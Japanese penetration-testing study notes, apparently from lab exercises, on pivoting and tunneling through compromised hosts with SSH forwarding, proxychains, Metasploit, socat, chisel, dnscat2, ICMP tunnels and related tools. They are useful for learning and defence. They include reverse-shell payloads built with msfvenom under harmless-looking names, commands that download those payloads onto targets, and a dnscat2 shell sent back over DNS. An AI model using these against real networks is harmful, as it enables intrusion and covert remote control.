ここについてもっと勉強・試してみたくなったら↓

ペネトレーションテスト中に、認証情報やsshキー、ハッシュやアクセストークンを使用して、別のホストに横展開しようと思った時、攻撃ホストから直接接続できない可能性がある
この時、すでに侵害済みのホスト(ピポットホスト)を利用して、次のターゲットに接続する手段を見つける必要がある

Pivoting(ピボット)

意味 : 侵害済みのホストを経由して別のネットワークへ移動し、異なるセグメント上のターゲットを探索する行為
目的 : 分離されたネットワークにアクセスするためのセグメンテーション(物理的および仮想的の両方)を打ち負かすこと

新たに侵入したホストで最初に確認すべき重要なポイントは、3つ

  1. 権限レベルの確認(どの程度の権限があるのか)
  2. ネットワーク接続の状況(どのネットワークに接続されているか)
    1. ホストが複数のネットワークアダプタを持っている場合、それを利用して別のネットワークセグメントへ移動できる可能性がある
  3. VPNやリモートアクセスソフトウェアの有無

Pivotの時に聞く言葉

ルーター

snowyowl644@htb[/htb]$ netstat -r

Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
default         178.62.64.1     0.0.0.0         UG        0 0          0 eth0
10.10.10.0      10.10.14.1      255.255.254.0   UG        0 0          0 tun0
10.10.14.0      0.0.0.0         255.255.254.0   U         0 0          0 tun0
10.106.0.0      0.0.0.0         255.255.240.0   U         0 0          0 eth1
10.129.0.0      10.10.14.1      255.255.0.0     UG        0 0          0 tun0
178.62.64.0     0.0.0.0         255.255.192.0   U         0 0          0 eth0

Tunneling(トンネリング)

ポートフォワーディングとは

ポートフォワーディングには2種類ある

  1. ローカルポートフォワーディング
    1. SSHがローカルホストでリッスンし、リモートホストのサービスをローカルのポートに転送する
  2. ダイナミックポートフォワーディング
    1. ピボットホストを介してリモートネットワークにパケットを送信し、SOCKSプロキシとして機能する

前提シナリオ : 攻撃対象のターゲットをポートスキャンした時に、sshのポートは空いているけど、3306(mysql)はファイアーウォールがかかっていて、アクセスできない

snowyowl644@htb[/htb]$ nmap -sT -p22,3306 10.129.202.64

Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-24 12:12 EST
Nmap scan report for 10.129.202.64
Host is up (0.12s latency).

PORT     STATE  SERVICE
22/tcp   open   ssh
3306/tcp closed mysql

Nmap done: 1 IP address (1 host up) scanned in 0.68 seconds

mysqlにアクセスしたい
考えられる方法

SSHでのローカルポートフォワードの実行

snowyowl644@htb[/htb]$ ssh -L 1234:localhost:3306 ubuntu@10.129.202.64

これにより、ローカルの1234番ポートでMySQLサービスにアクセスできるようになる

複数のポートをフォワーディング

snowyowl644@htb[/htb]$ ssh -L 1234:localhost:3306 -L 8080:localhost:80 ubuntu@10.129.202.64

ポートフォワードができているのか確認する

Netstat

snowyowl644@htb[/htb]$ netstat -antp | grep 1234

(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.1:1234          0.0.0.0:*               LISTEN      4034/ssh            
tcp6       0      0 ::1:1234                :::*                    LISTEN      4034/ssh     

Nmap

snowyowl644@htb[/htb]$ nmap -v -sV -p1234 localhost
PORT     STATE SERVICE VERSION
1234/tcp open  mysql   MySQL 8.0.28-0ubuntu0.20.04.3

SSHでのダイナミックポートフォワーディングの実行

シナリオ

解決策

SOCKSとは

SSHによるダイナミックポートフォワーディングの有効化

snowyowl644@htb[/htb]$ ssh -D 9050 ubuntu@10.129.202.64

上のSSHによる動的ポート転送の有効化のコマンド実行したら、以下のProxychainsを活用することで、色々なスクリプトで動的ポートを適用することができる

Proxychainsの活用

利点

設定

socks5 127.0.0.1 9050

nmapでProxychainsを使う

このプロキシチェーンを使用してすべてのNmapデータをパッケージ化し、リモートサーバーに転送する処理は、SOCKS tunnelingと呼ばれる
注意点

proxychains を使ってSOCKSプロキシ経由でネットワーク上の生存しているホストを検出する(Pingスキャン)を実行

proxychains nmap -v -sn 172.16.5.1-200

proxychains を使ってSOCKSプロキシ経由で、特定のホスト (172.16.5.19) に対して、フルTCP接続(スキャン)を実行

proxychains nmap -v -Pn -sT 172.16.5.19

metasploitでProxychainsを使う

proxychains msfconsole

RDPでProxychainsを使う

proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123

proxychainsの設定不要ツール : Sshuttle

例 : Ubuntu サーバーをピボットポイントとして設定し、Sshuttle を使って Nmap のネットワークトラフィックを全て経由させる

Sshuttleのインストール

snowyowl644@htb[/htb]$ sudo apt-get install sshuttle

Sshuttleを使用するには、ユーザー名とパスワードでリモートマシンに接続するオプション-rを指定する

snowyowl644@htb[/htb]$ sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0/23 -v 

Sshuttleを利用した場合は、自動的にUbuntuをピボットホストとして利用して、別ネットワークに接続できる

nmap -v -sV -p3389 172.16.5.19 -A -Pn

リモートポートフォワーディング

リモートポートフォワーディングの必要性

SSHでのリモートポートフォワーディングを使ったリバースシェルの確立

接続の流れ

  1. Victim Server(Windows A)でMeterpreterペイロードを実行(LHOST=172.16.5.129, LPORT=8080)
  2. Victim Server(Windows A) → Victim Server(Ubuntu)(172.16.5.129:8080)にリバースシェルの接続要求を送信
  3. Victim Server(Ubuntu)がポート8080のトラフィックをAtaack Hostのポート8000に転送
  4. Attack Host(Metasploitリスナー8000)でリバースシェルを受信
  5. Attack HostとWindows Aの間にリバースシェル確立完了

コマンド

msfvenom を使用した Windows ペイロードの作成

snowyowl644@htb[/htb]$ msfvenom -p windows/x64/meterpreter/reverse_https lhost= <ピボットホストの_IP> -f exe -o backupscript.exe LPORT=8080
  1. Metasploitのリスナーを設定と開始
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 8000
msf6 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://0.0.0.0:8000
  1. ペイロードをピボットホスト(Ubuntu)に転送
snowyowl644@htb[/htb]$ cp backupscript.exe ubuntu@<ピボットホストの_IP>:~/
  1. ピボットホストでPythonウェブサーバーを起動
     - 次に、ピボットホスト上で 簡易ウェブサーバー(ポート8123) を起動し、Windowsターゲットから backupscript.exe をダウンロードできるようにする
ubuntu@Webserver$ python3 -m http.server 8123
  1. Windowsターゲットでペイロードをダウンロード
PS C:\Windows\system32> Invoke-WebRequest -Uri "http://172.16.5.129:8123/backupscript.exe" -OutFile "C:\backupscript.exe"
  1. リバースポートフォワーディングの設定(SSH -R)
snowyowl644@htb[/htb]$ ssh -R <ピボットホストのIP>:8080:0.0.0.0:8000 ubuntu@<ipAddressofTarget> -vN
  1. リバースシェルの確立

成功したときの図

MeterPreterトンネルでのポートフォワーディング

前提シナリオ

前提シナリオの用意

まずUbuntuサーバー用のMeterpreterリバースシェルを作成し、攻撃ホスト(ポート8080)へ接続するように設定する

  1. Ubuntuピボットホスト用のペイロード作成
snowyowl644@htb[/htb]$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<Attack HostのIP> -f elf -o backupjob LPORT=8080
  1. Metasploitのリスナーを設定
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 8080
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 0.0.0.0:8080 
  1. ピボットホストにペイロードをコピーして実行
ubuntu@WebServer:~$ ls

backupjob
ubuntu@WebServer:~$ chmod +x backupjob 
ubuntu@WebServer:~$ ./backupjob
  1. Meterpreterセッションの確立
    ペイロードを実行すると、Ubuntuサーバー(ピボットホスト)から攻撃ホストへリバースシェルが確立される

MeterPreterトンネルでの実行

Ping Sweep

meterpreter > run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23

ピボットホストで直接実行する時には、以下のコマンドらも使用できる

注意点

MSFのSOCKSプロキシの設定

msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050
msf6 auxiliary(server/socks_proxy) > set SRVHOST 0.0.0.0
msf6 auxiliary(server/socks_proxy) > set version 4a
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.
[*] Starting the SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > options
Module options (auxiliary/server/socks_proxy):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The address to listen on
   SRVPORT  9050             yes       The port to listen on
   VERSION  4a               yes       The SOCKS version to use (Accepted: 4a,
                                        5)
Auxiliary action:

   Name   Description
   ----   -----------
   Proxy  Run a SOCKS proxy server

プロキシサーバが実行されていることを確認

msf6 auxiliary(server/socks_proxy) > jobs
socks4 	127.0.0.1 9050

AutoRouteによるルートの作成

最後に、socks_proxyモジュールに、すべてのトラフィックをMeterpreterセッションを介してルーティングするように設定する必要がある
Metasploitのpost/multi/manage/autorouteモジュールを使用して、172.16.5.0サブネットのルートを追加し、すべてのプロキシチェーントラフィックをルーティングできる

msf6 > use post/multi/manage/autoroute

msf6 post(multi/manage/autoroute) > set SESSION 1
msf6 post(multi/manage/autoroute) > set SUBNET 172.16.5.0
msf6 post(multi/manage/autoroute) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: linux
[*] Running module against 10.129.202.64
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.129.0.0/255.255.0.0 from host's routing table.
[+] Route added to subnet 172.16.5.0/255.255.254.0 from host's routing table.
[*] Post module execution completed

Meterpreterセッションからautorouteを実行することで、autorouteでルートを追加することもできる

meterpreter > run autoroute -s 172.16.5.0/23

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.16.5.0/255.255.254.0...
[+] Added route to 172.16.5.0/255.255.254.0 via 10.129.202.64
[*] Use the -p option to list all active routes

必要なルートを追加した後、-pオプションを使用してアクティブなルートを一覧表示できる

meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   10.129.0.0         255.255.0.0        Session 1
   172.16.4.0         255.255.254.0      Session 1
   172.16.5.0         255.255.254.0      Session 1

ルートは172.16.5.0/23ネットワークに追加されました。プロキシチェーンを使用して、Meterpreterセッションを介してNmapトラフィックをルーティングできる

プロキシとルーティング機能のnmapによるテスト

snowyowl644@htb[/htb]$ proxychains nmap 172.16.5.19 -p3389 -sT -v -Pn

ポート転送

ローカルTCPリレー

攻撃ホストのローカルポート3300でリスナーを起動し、ピボットホストを経由してWindowsターゲット(172.16.5.19)のRDPポート3389に転送 することができる

meterpreter > portfwd add -l 3300 -p 3389 -r 172.16.5.19

ローカルホストを介してWindowsターゲットに接続

snowyowl644@htb[/htb]$ xfreerdp /v:localhost:3300 /u:victor /p:pass@123

Netstatを使用して、最近設定したセッションに関する情報を表示できる
防御的な観点から、ホストが侵害された疑いがある場合は、Netstatを使用することでメリットがある

snowyowl644@htb[/htb]$ netstat -antp

Meterpreter リバースポートフォワーディング

ピボットリストを介したターゲット(WIndowsA)とのリバースシェルの確立

リバースポートフォワーディングの設定

meterpreter > portfwd add -R -l 8081 -p 1234 -L 10.10.14.18

コマンドの意味

Metasploitリスナーの設定

meterpreter > bg
[*] Backgrounding session 1...

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LPORT 8081 
msf6 exploit(multi/handler) > set LHOST 0.0.0.0 
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 0.0.0.0:8081 

Windows向けリバースシェルペイロードの作成

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=1234

コマンドの意味

Windowsターゲットでペイロードを実行
作成した backupscript.exe をWindowsターゲットで実行すると、ピボットホスト(Ubuntu)経由で攻撃ホストへリバースシェル接続が転送される

Socat

Socatを利用したリバースシェル

  1. 攻撃ホスト上で Metasploit のリスナーを起動する
msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 8080
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 0.0.0.0:8080 
  1. ピボットホスト上のUbuntu サーバー上で Socat を起動する
ubuntu@Webserver:~$ socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80
  1. ピボットホストを介したターゲット(WIndowsA)上で実行するペイロードを作成する
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=8080

Socatを利用したバインドシェル

バインドシェルは、リバースシェルとは逆で、ターゲット側でポートを開いて待っておいて、そこにAtack Hostが接続するシェルのこと

  1. ピボットホストを介したターゲット(Windows A)上で動作させるバインドシェルペイロードを作成する
snowyowl644@htb[/htb]$ msfvenom -p windows/x64/meterpreter/bind_tcp -f exe -o backupscript.exe LPORT=8443
  1. Socatでの通信
ubuntu@Webserver:~$ socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443
  1. Windowsへの接続
msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST 10.129.202.64
RHOST => 10.129.202.64
msf6 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf6 exploit(multi/handler) > run

[*] Started bind TCP handler against 10.129.202.64:8080

Windows用SSH : plink.exe

Windows攻撃ホストで、コマンドで、plink.exeプロセスを起動し、Ubuntuサーバー上での動的ポートフォワードを開始する

plink -ssh -D 9050 ubuntu@10.129.15.50

また、Proxifierと呼ばれる別のWindowsベースのツールを使用して、作成したSSHセッションを介してSOCKSトンネルを起動できる

Rpivot

通常は、Victim Server(WebServer)は、外部インターネットに接続されていないため、外部からはアクセスできない
しかし、Rpivotを使うことで、Victim Server(Ubuntu)を介して、内部ネットワークにアクセスして、外部からVictim Server(Webserver)にアクセスできるようにする

ダイナミックポートフォワーディングと何が違う?

機能 Rpivot ssh -D(ダイナミックポートフォワーディング)
プロトコル SOCKS5(リバース接続) SOCKS5(SSH 経由)
トンネリングの方向 リバース(内部 → 外部へ接続) 通常(外部 → 内部へ接続)
SSH サーバー 不要(Python だけで動く) 必要(SSH サーバーがいる)
ネットワーク環境 制限が厳しい環境でも使いやすい SSH が通る環境なら使える
隠蔽性 HTTP/HTTPS に擬態できる SSH トラフィックとして検知される可能性
柔軟性 iptables 設定を自動化できる 手動での設定が必要
使い方 Web サーバーをリバースプロキシで公開 ローカルから内部ネットワークにアクセス
どっちを使うべきか
状況 推奨ツール
内部ネットワークから外部に抜けたい(リバースピボット) Rpivot
内部ネットワーク内の複数ホストにアクセスしたい Rpivot
リモートホストに SSH サーバーがある & 普通に SOCKS5 が欲しい ssh -D
ファイアウォールやプロキシで SSH がブロックされている Rpivot
セットアップ
snowyowl644@htb[/htb]$ git clone https://github.com/klsecservices/rpivot.git
sudo apt-get install python2.7
curl https://pyenv.run | bash
echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrc
echo 'command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.bashrc
echo 'eval "$(pyenv init -)"' >> ~/.bashrc
source ~/.bashrc
pyenv install 2.7
pyenv shell 2.7

server.pyをAttack Hostで立ち上げる

snowyowl644@htb[/htb]$ python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0

SCP(セキュアコピー)を使って Rpivot をピボットホストへ転送

snowyowl644@htb[/htb]$ scp -r rpivot ubuntu@<ピボットホストのIPアドレス>:/home/ubuntu/

ピボットターゲット(侵害したマシン)で client.py を実行

ubuntu@WEB01:~/rpivot$ python2.7 client.py --server-ip <ターゲットIP> --server-port 9999

接続の確認

New connection from host 10.129.202.64, source port 35226

127.0.0.1:9050 のローカルサーバー経由でピボットを設定
1. ProxyChains の設定ファイル(/etc/proxychains.conf)に以下を追加

socks5 127.0.0.1 9050

firefoxでアクセス

proxychains firefox-esr 172.16.5.135:80

HTTP-プロキシ & NTLM 認証を経由して Web サーバーへ接続

python client.py --server-ip <ターゲットWebサーバーのIP> --server-port 8080 --ntlm-proxy-ip <プロキシサーバーのIP> --ntlm-proxy-port 8081 --domain <Windowsドメイン名> --username <ユーザー名> --password <パスワード>

Windows Netshによるポート転送

シナリオ例

Netsh を使ったポートフォワーディング

C:\Windows\system32> netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=<Windows マシン(ピボットホスト)の外部 IP> connectport=3389 connectaddress=<ターゲットのWindowsマシンの内部ネットワークの IP>

ポートフォワードができているかの確認

C:\Windows\system32> netsh.exe interface portproxy show v4tov4

Listen on ipv4:             Connect to ipv4:

Address         Port        Address         Port
--------------- ----------  --------------- ----------
10.129.42.198   8080        172.16.5.25     3389

以下のコマンドで、ターゲットのWindowsマシンに接続できる

xfreerdp /u:victor /p:"pass@123" /v:10.129.42.198:8080

Dnscat2によるDNSトンネリング

設定

snowyowl644@htb[/htb]$ 

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
sudo gem install bundler
sudo bundle install

dnscat2ファイルを実行してdnscat2サーバーを起動する

snowyowl644@htb[/htb]$ sudo ruby dnscat2.rb --dns host=<攻撃マシンのIP>,port=53,domain=inlanefreight.local --no-cache

New window created: 0
dnscat2> New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted
New window created: dns1
Starting Dnscat2 DNS server on 10.10.14.18:53
[domains = inlanefreight.local]...

Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):

  ./dnscat --secret=0ec04a91cd1e963f8c03ca499d589d21 inlanefreight.local

To talk directly to the server without a domain name, run:

  ./dnscat --dns server=x.x.x.x,port=53 --secret=0ec04a91cd1e963f8c03ca499d589d21

Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.

ターゲットマシンに送るために、dnscat2-powershellを攻撃ホストにクローンする

snowyowl644@htb[/htb]$ git clone https://github.com/lukebaggett/dnscat2-powershell.git
(New-Object Net.WebClient).DownloadFile('http://10.10.15.221:8080/dnscat2.ps1','dnscat2.ps1')

dnscat2.ps1ファイルがターゲットにあると、それをインポートして関連するcmd-letsを実行できる

PS C:\htb> Import-Module .\dnscat2.ps1

dnscat2.ps1をインポートした後、それを使用して、攻撃ホストで実行されているサーバーでトンネルを確立できる
CMDシェルセッションをサーバーに送り返すことができる

PS C:\htb> Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd 

セッションが確立され、暗号化されるように、サーバーで生成された事前共有シークレット(-PreSharedSecret)を使用する必要がある

セッションの確立を確認する

New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)

dnscat2>

dnscat2のオプション一覧を表示

dnscat2> ?

Here is a list of commands (use -h on any of them for additional help):
* echo
* help
* kill
* quit
* set
* start
* stop
* tunnels
* unset
* window
* windows

dnscat2でのやり取り

dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!

That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something! 

To go back, type ctrl-z.

Microsoft Windows [Version 10.0.18363.1801]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
exec (OFFICEMANAGER) 1>

SOCKS5 トンネリングを Chisel で実現する

シナリオ : 内部ネットワークの Web サーバーへのトンネリング

Chiselでのピボットを介した通信

Chiselの設定

攻撃ホストにインストールする

snowyowl644@htb[/htb]$ git clone https://github.com/jpillora/chisel.git

ビルド

snowyowl644@htb[/htb]$ cd chisel
go build

Chisel Binary を Pivot Host に転送する

scp chisel ubuntu@10.129.202.64:~/

ピボットホストでChiselサーバーを実行する

ubuntu@WEB01:~$ ./chisel server -v -p 1234 --socks5

もし、Chisel クライアント側で エラーが出る場合、異なるバージョンを試す

wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
gunzip chisel_1.7.7_linux_amd64.gz
mv chisel_1.7.7_linux_amd64 chisel

攻撃ホストからChiselサーバーへの接続

snowyowl644@htb[/htb]$ ./chisel client -v 10.129.202.64:1234 socks

/etc/proxychains.confにあるproxychains.confファイルを変更し、最後に1080ポートを追加して、1080ポートとSSHトンネルの間で作成されたトンネルを使用してプロキシチェーンをピボットできる

socks5 127.0.0.1 1080

chiselでのピボットホストを介して、内部ネットワーク上のDCに接続できる

snowyowl644@htb[/htb]$ proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123

Chisel を使ったリバースピボット(Reverse Pivoting)

Chisel の “リバース” モード

攻撃ホストで Chisel サーバーを起動

sudo ./chisel server --reverse -v -p 1234 --socks5

Ubuntu(ピボットホスト)から攻撃ホストに接続

./chisel client -v 10.10.14.17:1234 R:socks

この状態で、攻撃ホスト側に SOCKS5 プロキシ が作成された!

proxychains の設定を変更

sudo nano /etc/proxychains.conf

末尾に足す

# SOCKS5 プロキシをローカルホスト(ポート 1080)に設定

socks5 127.0.0.1 1080

proxychains 経由で RDP に接続

proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123

SOCKSによるICMPトンネル

注意点

ptunnel-ngツール

設定

snowyowl644@htb[/htb]$ git clone https://github.com/utoni/ptunnel-ng.git
cd ptunnel-ng
sudo ./autogen.sh

./autogen.shが動かなかった時

sudo apt install automake autoconf -y
cd ptunnel-ng/
sed -i '$s/.*/LDFLAGS=-static "${NEW_WD}\/configure" --enable-static $@ \&\& make clean \&\& make -j${BUILDJOBS:-4} all/' autogen.sh
sudo ./autogen.sh

ptunnel-ngをピボットホストへ転送

snowyowl644@htb[/htb/ptunnel-ng]$ cd src
scp -r ptunnel-ng ubuntu@<ピボットホストのIP>:~/

ピボットホストで ptunnel-ng サーバーを起動する

ubuntu@WEB01:~/ptunnel-ng/src$ sudo ./ptunnel-ng -r<ピボットホストのIP> -R22

攻撃ホストからICMPトンネルを利用

sudo ./ptunnel-ng -p <ピボットホストのIP> -l 2222
sudo ./ptunnel-ng -p<ピボットホストのIP> -l2222 -r<ピボットホストのIP> -R22

設定完了

snowyowl644@htb[/htb]$ ssh -p2222 -lubuntu 127.0.0.1

SSH 経由での動的ポート転送を有効にする

snowyowl644@htb[/htb]$ ssh -D 9050 -p2222 -lubuntu 127.0.0.1

ICMPトンネルを介したプロキシチェーン

snowyowl644@htb[/htb]$ proxychains nmap -sV -sT 172.16.5.19 -p3389

SocksOverRDP を使った RDP と SOCKS トンネリング

攻撃準備

攻撃の実行

  1. xfreerdp を使ってターゲットに RDP 接続し、SocksOverRDPx64.zip をターゲットマシンにコピーする

  2. SocksOverRDP をロード

C:\Users\htb-student\Desktop\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
  1. RDP 接続と SOCKS トンネリングの開始
  1. SocksOverRDP サーバーの実行
  1. SOCKSリスナーの確認
C:\Users\htb-student\Desktop\SocksOverRDP-x64> netstat -antb | findstr 1080

  TCP    127.0.0.1:1080         0.0.0.0:0              LISTENING
  1. Proxifier の設定

RDP のパフォーマンス調整